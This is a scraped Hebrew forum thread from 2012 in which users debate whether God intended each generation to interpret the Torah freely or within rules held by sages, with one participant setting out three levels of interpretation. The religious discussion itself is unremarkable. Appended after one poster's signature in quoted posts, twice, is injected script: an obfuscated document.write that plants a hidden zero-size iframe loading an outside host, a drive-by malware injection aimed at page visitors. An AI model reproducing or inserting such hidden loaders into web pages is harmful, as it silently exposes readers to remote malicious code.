|
|
| נשלח ב-1/3/2012 12:52 |
 |
| |
אולי זהו מושג רוחני? לא פיזי?
|
|
|
|
| נשלח ב-1/3/2012 12:59 |
|
| |
בהחלט- אין אפשרות אחרת- אני שואל מה פרושה של המילה? למילה חייבת להיות משמעות מובנת והגיונית.
מנסה להוכיח כי רק בהבנה מתקדמת אפשר לפרש את התורה.
|
|
|
|
|
| נשלח ב-1/3/2012 13:00 |
|
| |
| ירוחםשמ כתב: |  | מתוך המציאות שאנחנו חיים יום יום |
|
אנא הסבר ונמק הכיצד אתה מסיק מן המציאות בה אנו חיים כי:
"אלוקים ברא את העולם, ולאחר שברא את העולם, הוא יותר לא התערב בבריאה, כפי שחז"ל מסבירים כי את עשרת הניסים מעל הטבע שנעשו, הכין בששת ימי הבריאה, האדם המשיך לפתח את העולם- בלי עין הרע העולם התפתח יפה מאד מאד, והאדם מילא את יעודו- לעבדה ולשמרה-.
כהאי גוונא במתן תורה- אלוקים נתן את התורה- וזהו, אנחנו בכל דור ודור ממלאים אותה בתוכן ובפרשנות המתאימה לדור.
מתוך שגרה - כי כך כתוב
השבת אתה תקיים מצוות עשה מדאוריתא- למחית עמלק- עמלק מזמן לא קיים, כבר אלפיים שנה ויותר הוא לא קיים, אבל אנחנו נקרא בשבת זכור- תמחה את זכר עמלק- למה? כך"
|
|
|
|
| נשלח ב-1/3/2012 13:35 |
|
| |
אלי
לא הבנתי מה לא מובן.במציאות שאנחנו חיים יום יום אנו נחשפים לתגליות ופיתוחים מדעיים ואחרים, שכולם נעשים בצורה ישירה על ידי האדם,
האדם- לאחר שנברא בצלם אלוקים ואכל מעץ הדעת, הוכשר למשימתו לעבדה ולשמרה- את העולם, והוא עושה את זאת בצורה מוצלחת ביותר, עד ותחסרהו מעט מאלוקים.
בענין התורה ספר החוקים של ה', לאחר שניתנה על ידי ה', האדם לקח על עצמו לפתח לשנות ולשפר את החוקים הללו בדיוק כפי שהוא עשה מבחינה טכנית עם העולם.
במציאות היום יומית אתה רואה את הדת שנקראת דת משה וישראל- שהקשר שלה עם התורה שה' נתן בסיני, הוא מקרי בלבד,
הגמרא במנחות מספרת- שמשה רבנו הגיע לבית מדרשו של רבי עקיבא- ולא הבין כלום ממה שדיברו שם, ודיברו שם בתורת משה, והגמרא שם ממשיכה ומספרת כי כששמע שאומרים שזו תורתו, נחה דעתו למרות שכאמור הוא לא הבין כלום.
ונמשיך עם הסיפור- אם רבי עקיבא היה מגיע היום לבית מדרש ברח' רבי עקיבא בבני ברק- הוא היה מבין הרבה פחות ממשה רבנו,
המציאות היום יומית מלמדת כי התפתחות הרוחנית נעשית על ידי האדם- לא רק היהודי.
|
|
|
|
| נשלח ב-1/3/2012 13:36 |
|
| |
| ירוחםשמ כתב: | | למה הוא לא התערב בפיתוחו של העולם?
הנביא אומר- עם זו יצרתי לי- תהילתי יספרו.
הם יספרו ! |
|
זה לא מה ששאלתי תקרא שוב בבקשה
|
|
|
|
| נשלח ב-1/3/2012 13:41 |
|
| |
שאלת שאלה נתן לאנשים לפרשו?? בשביל מה הרי הוא לא רוצה להתערב??
אם הוא נתן לאחרים לפרש -סימן שהוא לא רוצה להתערב, אם רצה להתערב לא היה נותן לאחרים לפרש
|
|
|
|
| נשלח ב-1/3/2012 13:48 |
|
| |
| מיימוני כתב: | | מסורתי
בגלל התארכות האשכול אני מעתיק את שאלתך ומשתדל לענות.
כתבת
למיימוני לירוחם ולכולם
עוד לא עניתם לי בצורה פשוטה
האם אלוהים רוצה שכל אחד יפרש את התורה כפי הבנתו??
אם כן, מדוע הוא נתן לנו את התורה אם כל אחד יכול להסיק מסקנות אחרות, מה הענין בזה??
אתם יכולים לענות לי על השאלה הזו?
לצערי אי אפשר לענות רק על השאלה הזו.
אבל אנסה.
רק אעיר שיש הרבה הנחות יסוד לשאלה שמצריכות דיון תיאולוגי ופילוסופי. מה זה למשל "אלוקים רצה"?
אבל נניח שאפשר לדבר בצורה כזו (ואפשר).
אז התשובה שאני מבין היא כך:
התורה היא ספר לימוד וחינוך. חלקו על ידי סיפורים היסטוריים על גדולי האומה או תולדות עם ישראל וההשגחה. וחלקו חוקים. עקרונית, כל ספר חוקים אינו יכול למצות את כל האפשרויות. וספר התורה, אילולא היינו כה מחוברים אליו, היינו נאלצים להודות שיש בו קטעים לא ברורים כלל שאפשר היה לנסח ולסדר טוב יותר. למשל, לרכז את כל הדינים בתחום מסויים יחד. קרבנות מסוג מסויים למשל. (מצד שני, מסתבר שכיון שהדינים נאמרו למשה בשלבים שונים במדבר, אז הם נכתבו בהפסקות ולפעמים עם חזרות. רק שיש כאן קושי תיאולוגי: האם ה' לא ידע לארגן זאת טוב יותר? והרי משה הוא גדול הנביאים. עד כאן קושי גדול ובזה אני חוזר לתשובה).
כפי שכתבתי לך: ה' הפקיד את הספר ואת התורה ופיתוחה ומציאת תשובות בידי חכמים. חכמים אמורים ללמוד ולרכוש אותן סגולות שיהפכו אותם לראויים לתפקיד.
והם יהיו אחראים על הפרשנות של החוק.
לגבי פרשנות הטקסט שאינה קשורה לחוק (מה זה למשל "שמים"? או "רוח אלוקים" כפי שנזכר, והרי יש שתי אפשרויות: רוח חזקה מאד ושם אלוקים נקרא אליה בשל חוזקה, או שזה כינוי לאלוקים, ונועד להרחיק הגשמה. והמפרשים בחרו איש את דרכו) - בדבר זה המטרה היא לברר את האמת, כלומר כוונת הכותב. ובזה כל חכם יכול וראוי שיתרום. וכמובן, הבעיה שצריך פרשנות היא בגלל המרחק מדור לדור. זה חסרון, אבל חסרון בלתי נמנע.
כל אחד חייב ללמוד תורה, ולכן מי שיכול תורם לפרשנות. אבל צריך לדרג פרשנויות. אם כי לא רק יראת שמים ורצון טוב קובעים אלא גם ידע ולפעמים מיומנויות שנרכשות במשך הדורות. ולכן יתכן שפרופסור גוי למקרא יצליח לגלות דבר שנעלם מעיני חכמים יהודים וצדיקים בדורות קדומים. אבל כמובן אנו ממהרים יותר להאמין לחכם משלנו מאשר לזר. וזה טבעי. אבל אין זה מונע לעיין ולהרחיב אופקים כל עוד זה נעשה בזהירות.
מעבר לכל זה, סבורני שיש מסר אישי שכל אחד מאיתנו מוצא בשעה שהוא קורא בתורה. וזה מסר שלפעמים אפשר לשתף עם אחרים. למשל, מה כל אחד מאיתנו מוצא בפרשת העקדה, הסמל לנתינה המוחלטת לה'.
אני מסכם, והנה התשובה בפרוטרוט ובדייקנות כפי שאני מסוגל לשאלתך:
אם כך, יש שלוש רמות של פרשנות, ואת כולן ה' "רוצה".
א. פרשנות החוק וההלכה. מופקדת בידי חכמים. כל אחד אמור ללמוד כפי שהוא יכול, אבל פרשנויות אחראיות ומחייבות יכולות להיות מוצעות רק בידי המוסמכים לכך.
ב. פרשנות המילים, הפסוקים, המקומות המוקשים. הצורך בכך הוא בשל המרחק מזמן נתינת הטקסט. כאן כל מי שיודע יכול לתרום. אבל צריך זהירות ולדעת שכמעט כל הצעה היא רק הצעה. אולי טובה, אולי נכונה, אבל קשה מאד לדעת מה כן. (קל יותר לדעת מה לא).
ג. התרשמות אישית וחיזוק. זה מסור לכל אחד ואחד.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
לפי מה שאני מבין ממך פרושו של דבר שאלוהים לא נתן את התורה לכל אחד שיפרש אותה כפי דעתו
אלא יש בזה כללים המסורים לת"ח מדור לדור
הבנתי אותך נכון?
 |
|
|
|
|
| נשלח ב-1/3/2012 13:50 |
|
| |
| ירוחםשמ כתב: | | שאלת שאלה נתן לאנשים לפרשו?? בשביל מה הרי הוא לא רוצה להתערב??
אם הוא נתן לאחרים לפרש -סימן שהוא לא רוצה להתערב, אם רצה להתערב לא היה נותן לאחרים לפרש |
|
ומה התשובה שלך?
|
|
|
|
| נשלח ב-1/3/2012 13:53 |
|
| |
לפי מה שאני מבין ממך פרושו של דבר שאלוהים לא נתן את התורה לכל אחד שיפרש אותה כפי דעתו
אלא יש בזה כללים המסורים לת"ח מדור לדור
הוא נתן למשה רבנו רשימה שמית מסודרת עם תאריכים, מי מתי ואיפה יפרש
|
|
|
|
| נשלח ב-1/3/2012 13:56 |
|
| |
מסורתי
אם תשים לב, חילקתי את הצורך בפרשנות ובדרשנות לשלושה סוגים ראשיים.
א. פירוש הלכתי. זה מסור לחכמים.
ב. פירוש מה שנעלם מאיתנו לפי הריחוק התרבותי. זה מסור לכל אחד כפי יכולתו. ובוודאי שאי אפשר להגביל מחשבה חופשית. כמובן, ככל שאדם יודע יותר כך הצעותיו קבילות יותר. אבל לפעמים דווקא יש להשתחרר מהנחות יסוד לא נכונות, כגון לבלבל בין דרשות אגדיות לבין פשט... סמיילי.
ג. דרשנות אישית: מוסרית, חסידית, רגשית. למשל כאשר לוקחים סיפור מן המקרא ומוצאים בו רעיון שמדבר אלי, למשפחתי, לסביבתי. או מציעים אותו לאחרים. או כאשר לוקחים מילים ומשחקים בהן כדי להציע רעיון, וזה מצוי הרבה בדרשות חסידיות. כל אלו אינם פשט ורחוק לומר שהם "כוונת הכותב" אבל אלו רעיונות שמביאים תועלת רבה. ובוודאי שהם מסורים לכל אדם, ורק שהדורש ידע שהוא אומר מהרהורי ליבו.
על זה יש להדגיש כי התורה מיועדת שכל אדם יקרא ויבין כמיטב יכולתו. ויש בה גם סיפורים וגם כללים שמיועדים לחנך את כולנו. ליושר, לאמונה ואמון, למחשבה ביקורתית, לזהירות, להתחשבות בזולת, ועוד ועוד. וכי יעלה על הדעת שאדם לא ילמד מקרא? ויוותר על ההזדמנות הזו?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-1/3/2012 13:58 |
|
| |
| ירוחםשמ כתב: | | לפי מה שאני מבין ממך פרושו של דבר שאלוהים לא נתן את התורה לכל אחד שיפרש אותה כפי דעתו
אלא יש בזה כללים המסורים לת"ח מדור לדור
הוא נתן למשה רבנו רשימה שמית מסודרת עם תאריכים, מי מתי ואיפה יפרש
|
|
שוב פעם זה לפי מה שאתה רוצה להבין ממני
הרי לא שאלת אותי על איזה כללים המסורים לת"ח מדור לדור אני מדבר??
|
|
|
|
| נשלח ב-1/3/2012 14:00 |
|
| |
| מיימוני כתב: | | מסורתי
אם תשים לב, חילקתי את הצורך בפרשנות ובדרשנות לשלושה סוגים ראשיים.
א. פירוש הלכתי. זה מסור לחכמים.
ב. פירוש מה שנעלם מאיתנו לפי הריחוק התרבותי. זה מסור לכל אחד כפי יכולתו. ובוודאי שאי אפשר להגביל מחשבה חופשית. כמובן, ככל שאדם יודע יותר כך הצעותיו קבילות יותר. אבל לפעמים דווקא יש להשתחרר מהנחות יסוד לא נכונות, כגון לבלבל בין דרשות אגדיות לבין פשט... סמיילי.
ג. דרשנות אישית: מוסרית, חסידית, רגשית. למשל כאשר לוקחים סיפור מן המקרא ומוצאים בו רעיון שמדבר אלי, למשפחתי, לסביבתי. או מציעים אותו לאחרים. או כאשר לוקחים מילים ומשחקים בהן כדי להציע רעיון, וזה מצוי הרבה בדרשות חסידיות. כל אלו אינם פשט ורחוק לומר שהם "כוונת הכותב" אבל אלו רעיונות שמביאים תועלת רבה. ובוודאי שהם מסורים לכל אדם, ורק שהדורש ידע שהוא אומר מהרהורי ליבו.
על זה יש להדגיש כי התורה מיועדת שכל אדם יקרא ויבין כמיטב יכולתו. ויש בה גם סיפורים וגם כללים שמיועדים לחנך את כולנו. ליושר, לאמונה ואמון, למחשבה ביקורתית, לזהירות, להתחשבות בזולת, ועוד ועוד. וכי יעלה על הדעת שאדם לא ילמד מקרא? ויוותר על ההזדמנות הזו?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
לגבי ב. וג. האם יש בזה כללים או איש הישר בעיניו יאמר/יחשוב??
|
|
|
|
|
| נשלח ב-1/3/2012 15:17 |
|
| |
[quote]לפי מה שאני מבין ממך פרושו של דבר שאלוהים לא נתן את התורה לכל אחד שיפרש אותה כפי דעתו
אלא יש בזה כללים המסורים לת"ח מדור לדור
הוא נתן למשה רבנו רשימה שמית מסודרת עם תאריכים, מי מתי ואיפה יפרש
שוב פעם זה לפי מה שאתה רוצה להבין ממני
הרי לא שאלת אותי על איזה כללים המסורים לת"ח מדור לדור אני מדבר??
לא שאלתי אותך כי אין מה לשאול על הכללים- כשם שזה לא מעשי וריאלי שניתנו רשינמות שמיות של המפרשים כך גם לא הגיוני ומעשי שניתנו כללים, כאמור לא ניתנו- לא היה למי לתת- וכל דור דורש אחת בלי כללים -את הכללים מוסיפים לאחר הדרשות. ירו את החץ ולאחר מכן ציירו את המטרה מסביבו.
|
|
|
|
| נשלח ב-1/3/2012 15:27 |
|
| |
אם אתה נעול זה כבר ענין אחר
|
|
|
|
| נשלח ב-1/3/2012 15:32 |
|
| |
אני לא נעול- אני פתוח להוכחות כי אני טועה!
|
|
|
|
|
